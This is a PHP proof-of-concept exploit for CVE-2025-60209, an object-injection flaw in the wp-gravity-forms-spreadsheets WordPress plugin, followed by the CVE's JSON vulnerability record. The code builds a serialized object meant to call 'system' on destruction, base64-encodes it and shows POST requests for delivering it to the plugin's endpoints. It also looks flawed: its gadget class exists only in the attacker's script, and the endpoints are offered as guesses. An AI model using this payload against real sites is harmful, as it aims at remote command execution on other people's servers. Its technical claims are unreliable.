CVE-2025-60209

<?php // CVE-2025-60209 PoC - PHP Object Injection // Target: WordPress wp-gravity-forms-spreadsheets plugin <= 1.2.6 class EvilClass { public $callback; public function __destruct() { // This magic method will be called during deserialization if (isset($this->callback)) { call_user_func($this->callback); } } } // Create malicious object with shell_exec callback $evil = new EvilClass(); $evil->callback = 'system'; // or 'passthru', 'exec', etc. // Serialize the object $malicious_payload = serialize($evil); echo "Malicious Payload:\n" . $malicious_payload . "\n\n"; // Example: Base64 encoded payload for HTTP request $base64_payload = base64_encode($malicious_payload); echo "Base64 Encoded: " . $base64_payload . "\n"; // Example HTTP POST request to trigger the vulnerability /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=gf_spreadsheets_sync&form_id=1&data=BASE64_ENCODED_PAYLOAD OR POST /wp-json/gf-spreadsheets/v1/sync HTTP/1.1 Host: target.com {"form_id":1,"spreadsheet_data":"BASE64_ENCODED_PAYLOAD"} */ ?>

{"cve": {"id": "CVE-2025-60209", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:57.983", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in CRM Perks Connector for Gravity Forms and Google Sheets wp-gravity-forms-spreadsheets allows Object Injection.This issue affects Connector for Gravity Forms and Google Sheets: from n/a through <= 1.2.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-gravity-forms-spreadsheets/vulnerability/wordpress-connector-for-gravity-forms-and-google-sheets-plugin-1-2-5-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}